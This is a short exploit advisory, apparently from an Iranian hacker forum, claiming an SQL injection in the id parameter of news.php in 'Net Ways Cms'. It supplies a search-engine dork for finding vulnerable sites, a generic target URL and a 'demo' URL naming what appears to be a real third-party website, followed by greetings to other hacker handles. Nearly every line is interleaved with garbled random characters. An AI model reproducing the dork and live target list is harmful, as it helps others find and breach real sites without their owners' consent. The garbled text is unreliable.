################################################################################??########
/ ^ {% d! J& B& z7 Y1 v/ j# 7 a2 E s5 d) N! ?& k9 h) Z
# Exploit Title : Net Ways Cms Sql Injection Vulnerability 3 o. R6 n R: |) J
# $ P& c u, C4 i8 g2 g6 I& E
# Author : IrIsT.Ir ( M# O; T% \7 r/ K& X
#
9 h) g: C+ l/ W* p# R$ A# Discovered By : Am!r 5 ]' y+ S& P7 [! i
# 3 w: v% j- |6 W7 v+ _" j: N
# Home : http://IrIsT.Ir/forum
# d' o1 M/ l0 T8 |# . k7 w# E& {8 b) g
# Software Link : http://www.netways.com/ www.political-security.com
' V- t; \+ u9 `#
: t% I$ ?$ ]4 q: q- K8 E. O# Security Risk : High
+ K) x! S5 w' V" g- H# - z" F8 n! i2 ^
# Version : All Version
& E! l6 A- I% a( a% @) q# ) W7 e$ D8 y* Q0 I
# Tested on : GNU/Linux Ubuntu - Windows Server - win7
- I9 ]0 o8 x) d; H: W#
# D- O& N E4 ?( U% w# Dork : intext:"Designed & developed by NetWays"
: ^! J4 n* b0 o# G F# / I5 g9 f5 [0 {( T
################################################################################??########
$ F1 @$ S% m% I% ^2 V# # V/ I7 F6 k2 Y: z3 N+ m9 s4 t/ k
# Expl0iTs : v0 n( i& O/ N" T) e( D T
# ) x. v! f' c: y0 Z" ?/ V' w
# http://target.com/news.php?id=[Sql] 8 E0 x. o; }% K0 d
# - D, U3 J* ^; |3 y# ^
# ( n, f& l8 A8 Z& I+ W: ~
# D3mo :
+ Y. f) m9 a3 p. \: T# ! a( b8 z/ v" i1 C7 `
# http://compagnieparento.com/news.php?id=7[Sql]
% r8 k6 P, g; Q, l( g* ?) `#
/ E4 l- s& Y/ x4 F1 ?& Q################################################################################??########
+ M/ M5 [) U9 u4 K# c) u# * {9 ~% Z8 F" U6 l/ X
# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r
( e" y" i m" n' G. q, u6 N }7 N#
: @5 }( A* w! H+ w- V# _1 O# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r
6 M! y4 W" f8 C1 ~/ H3 A P. L# F# " ^ s# y- a3 N* l
# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum
! Z! t8 D) p7 M; y8 q9 z4 j& [#
7 e, F, o5 \" C8 s! w$ N& K- z$ J################################################################################??######## |